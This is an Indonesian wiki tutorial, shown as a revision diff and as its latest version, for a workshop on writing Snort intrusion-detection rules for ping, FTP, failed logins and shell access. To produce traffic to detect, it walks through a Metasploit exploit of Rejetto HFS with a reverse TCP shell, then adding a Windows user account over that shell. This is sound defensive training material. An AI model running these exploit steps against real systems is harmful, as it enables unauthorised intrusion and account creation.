Difference between revisions of "SNORT-RULES: Contoh Materi Workshop"
Onnowpurbo (talk | contribs) |
Onnowpurbo (talk | contribs) |
||
(8 intermediate revisions by the same user not shown) | |||
Line 59: | Line 59: | ||
* classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization. | * classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization. | ||
− | + | Test snort untuk cek apakah ada masalah atau tidak, asumsi ethernet enp0s3 | |
− | sudo snort -T -i | + | sudo snort -T -i enp0s3 -c /etc/snort/snort.conf |
− | |||
− | |||
Jalan kan snort dengan mode IDS, tampilkan alert di console: | Jalan kan snort dengan mode IDS, tampilkan alert di console: | ||
− | sudo snort -A console -q -c /etc/snort/snort.conf -i | + | sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 |
dimana | dimana | ||
Line 81: | Line 79: | ||
Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server. | Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server. | ||
− | |||
===Deteksi ftp=== | ===Deteksi ftp=== | ||
Line 87: | Line 84: | ||
Untuk belajar lebih lanjut, buat rule tambahan, edit | Untuk belajar lebih lanjut, buat rule tambahan, edit | ||
− | sudo | + | sudo vi /etc/snort/rules/local.rules |
Masukan misalnya, | Masukan misalnya, | ||
− | alert tcp | + | alert tcp any any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;) |
Ini untuk mendeteksi traffic FTP. Jalankan snort | Ini untuk mendeteksi traffic FTP. Jalankan snort | ||
− | sudo snort -A console -q -c /etc/snort/snort.conf -i | + | sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 -K ascii |
− | Coba ftp dari Kali Linux dengan perintah | + | Coba ftp ke server (misalnya 192.168.x.x) dari Kali Linux dengan perintah |
+ | apt install ftp | ||
ftp 192.168.x.x | ftp 192.168.x.x | ||
Maka akan tampak alert. | Maka akan tampak alert. | ||
− | Cek log, | + | Cek log. Cek file TCP:xxxxx-21 (21 adalah port ftp). Misalnya, |
ls /var/log/snort | ls /var/log/snort | ||
− | |||
− | |||
− | |||
sudo ls /var/log/snort/192.168.x.x | sudo ls /var/log/snort/192.168.x.x | ||
sudo cat /var/log/snort/192.168.x.x/TCP:4561-21 | sudo cat /var/log/snort/192.168.x.x/TCP:4561-21 | ||
− | |||
− | |||
===Detect kegagalan ftp=== | ===Detect kegagalan ftp=== | ||
+ | Deteksi kegagalan ftp. | ||
Edit | Edit | ||
− | sudo | + | sudo vi /etc/snort/rules/local.rules |
Tambahkan | Tambahkan | ||
− | alert tcp $HOME_NET 21 | + | alert tcp any any <> $HOME_NET 21 (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;) |
Perhatikan $HOME_NET ada di snort.conf. Jalankan snort, | Perhatikan $HOME_NET ada di snort.conf. Jalankan snort, | ||
+ | sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 | ||
− | + | ==Snort sebagai Packet Logger== | |
− | + | Untuk mendeteksi teknik serangan yang baru, kita bisa menjalankan snort untuk mencatat paket / packet logger menggunakan perintah | |
− | + | sudo snort -dev -q -l /var/log/snort -i eth0 | |
− | |||
− | |||
− | + | Masuk kali linux untuk menyerang, jalankan, | |
msfconsole | msfconsole | ||
− | + | Lakukan exploit misalnya, | |
use exploit/windows/http/rejetto_hfs_exec | use exploit/windows/http/rejetto_hfs_exec | ||
set PAYLOAD windows/shell/reverse_tcp | set PAYLOAD windows/shell/reverse_tcp | ||
− | set LHOST 192.168.x.x (Kali Linux | + | set LHOST 192.168.x.x (Kali Linux IP address) |
− | set RHOST 192.168.x.x ( | + | set RHOST 192.168.x.x (Server WIndows IP address) |
set RPORT 8081 | set RPORT 8081 | ||
− | + | Jika berhasil maka kita akan memperoleh shell, ketik | |
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
net user accountname P@ssword12 /ADD | net user accountname P@ssword12 /ADD | ||
− | |||
− | |||
− | |||
cd \ | cd \ | ||
− | |||
− | |||
− | |||
mkdir yourname | mkdir yourname | ||
− | + | Ketik Ctrl+C dan jawab y atau "yes" untuk menutup akses shell. | |
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | Kemudian, | |
− | + | * cek /var/log/snort | |
+ | * buka menggunakan wireshark, select Edit > Find Packet | ||
+ | * select Packet Bytes for the Search In criteria. | ||
+ | * search string, enter the username yang anda buat. | ||
+ | * jika di peroleh packet-nya, lakukan select Follow TCP Stream. | ||
− | == | + | ==Membuat custom rule dari catatan traffic== |
− | + | Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut | |
alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;) | alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;) | ||
− | + | Jalankan snort sebagai IDS | |
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0 | sudo snort -A console -q -c /etc/snort/snort.conf -i eth0 | ||
− | + | Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server. | |
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan, | |
− | + | * select packet | |
+ | * di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex. | ||
+ | * paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan | di ujung2. | ||
==Referensi== | ==Referensi== | ||
* http://resources.infosecinstitute.com/snort-rules-workshop-part-one/ | * http://resources.infosecinstitute.com/snort-rules-workshop-part-one/ |
Latest revision as of 03:27, 6 December 2018
Sumber: http://resources.infosecinstitute.com/snort-rules-workshop-part-one/
Install SNORT
- Buat mesin Ubuntu server
- Install SNORT
- Cek versi snort
snort -V
Edit Konfigurasi
- Tambahkan nilai HOME_NET
vi /etc/snort/snort.conf
- Tambahkan nilai HOME_NET sesuai dengan jaringan yang akan di monitor, biasanya di akhiri dengan .0/24
Verifikasi SNORT
Jalankan
sudo snort -T -i eth0 -c /etc/snort/snort.conf
Akan keluar misalnya,
0 Snort rules read
Membuat local.rules Sederhana
Deteksi ping
test rule sederhana yang akan dibuat akan menghasilkan alert saat Snort mendeteksi ICMP Echo Request (ping) atau Echo reply message. Buka file local.rules di text editor gunakan perintah berikut,
sudo nano /etc/snort/rules/local.rules
File tersebut kemungkinan besar kosong. Tambahkan kalimat berikut (sebagai satu line, tanpa enter),
alert icmp any any -> $HOME_NET any (msg:”ICMP test”; sid:1000001; rev:1; classtype:icmp-event;)
Mari kita lihat syntax dari rules tersebut,
Rule Header
- alert – Rule action. Snort will generate an alert when the set condition is met.
- any – Source IP. Snort will look at all sources.
- any – Source port. Snort will look at all ports.
- -> – Direction. From source to destination.
- $HOME_NET – Destination IP. We are using the HOME_NET value from the snort.conf file.
- any – Destination port. Snort will look at all ports on the protected network.
Rule Options
- msg:”ICMP test” – Snort will include this message with the alert.
- sid:1000001 – Snort rule ID. Remember all numbers < 1,000,000 are reserved, this is why we are starting with 1000001 (you may use any number, as long as it’s greater than 1,000,000).
- rev:1 – Revision number. This option allows for easier rule maintenance.
- classtype:icmp-event – Categorizes the rule as an “icmp-event”, one of the predefined Snort categories. This option helps with rule organization.
Test snort untuk cek apakah ada masalah atau tidak, asumsi ethernet enp0s3
sudo snort -T -i enp0s3 -c /etc/snort/snort.conf
Jalan kan snort dengan mode IDS, tampilkan alert di console:
sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3
dimana
-c - memberitahukan file konfigurasi yang digunakan -i eth0 - memberitahukan interface yang digunakan -A console - memberitahukan agar alert di tulis di standard output -q - mode "quiet", tidak print banner dll.
Untuk melihat server tempat snort dijalakan, misalnya
ping 192.168.x.x
Maka akan tampak di layar ada alert yang di generate setiap kali ping di terima server.
Deteksi ftp
Untuk belajar lebih lanjut, buat rule tambahan, edit
sudo vi /etc/snort/rules/local.rules
Masukan misalnya,
alert tcp any any -> $HOME_NET 21 (msg:”FTP connection attempt”; sid:1000002; rev:1;)
Ini untuk mendeteksi traffic FTP. Jalankan snort
sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3 -K ascii
Coba ftp ke server (misalnya 192.168.x.x) dari Kali Linux dengan perintah
apt install ftp ftp 192.168.x.x
Maka akan tampak alert.
Cek log. Cek file TCP:xxxxx-21 (21 adalah port ftp). Misalnya,
ls /var/log/snort sudo ls /var/log/snort/192.168.x.x sudo cat /var/log/snort/192.168.x.x/TCP:4561-21
Detect kegagalan ftp
Deteksi kegagalan ftp. Edit
sudo vi /etc/snort/rules/local.rules
Tambahkan
alert tcp any any <> $HOME_NET 21 (msg:"FTP failed login"; content:"Login incorrect"; sid:1000003; rev:1;)
Perhatikan $HOME_NET ada di snort.conf. Jalankan snort,
sudo snort -A console -q -c /etc/snort/snort.conf -i enp0s3
Snort sebagai Packet Logger
Untuk mendeteksi teknik serangan yang baru, kita bisa menjalankan snort untuk mencatat paket / packet logger menggunakan perintah
sudo snort -dev -q -l /var/log/snort -i eth0
Masuk kali linux untuk menyerang, jalankan,
msfconsole
Lakukan exploit misalnya,
use exploit/windows/http/rejetto_hfs_exec set PAYLOAD windows/shell/reverse_tcp set LHOST 192.168.x.x (Kali Linux IP address) set RHOST 192.168.x.x (Server WIndows IP address) set RPORT 8081
Jika berhasil maka kita akan memperoleh shell, ketik
net user accountname P@ssword12 /ADD cd \ mkdir yourname
Ketik Ctrl+C dan jawab y atau "yes" untuk menutup akses shell.
Kemudian,
- cek /var/log/snort
- buka menggunakan wireshark, select Edit > Find Packet
- select Packet Bytes for the Search In criteria.
- search string, enter the username yang anda buat.
- jika di peroleh packet-nya, lakukan select Follow TCP Stream.
Membuat custom rule dari catatan traffic
Misalnya, kita ingin snort memberikan alert setiap kali melihat “C:\Users\Administrator\Desktop\hfs2.3b>.” Edit local.rules masukan sebagai berikut
alert tcp $HOME_NET any -> any any (msg:”Command Shell Access”; content:”C:\\Users\\Administrator\\Desktop\\hfs2.3b”; sid:1000004; rev:1;)
Jalankan snort sebagai IDS
sudo snort -A console -q -c /etc/snort/snort.conf -i eth0
Jalankan exploit tersebut dari Kali Linux maka kita akan melihat alert di server.
Jika kita ingin menyimpan local.rules dari hasil sadapan wireshark di kali linux, kita perlu melakukan,
- select packet
- di bagian tengah wireshark lakukan Copy > Bytes > Offset Hex.
- paste Hex tersebut di aturan di local.rules, pastikan itu hanya hex yang kita perlukan, tambahan | di ujung2.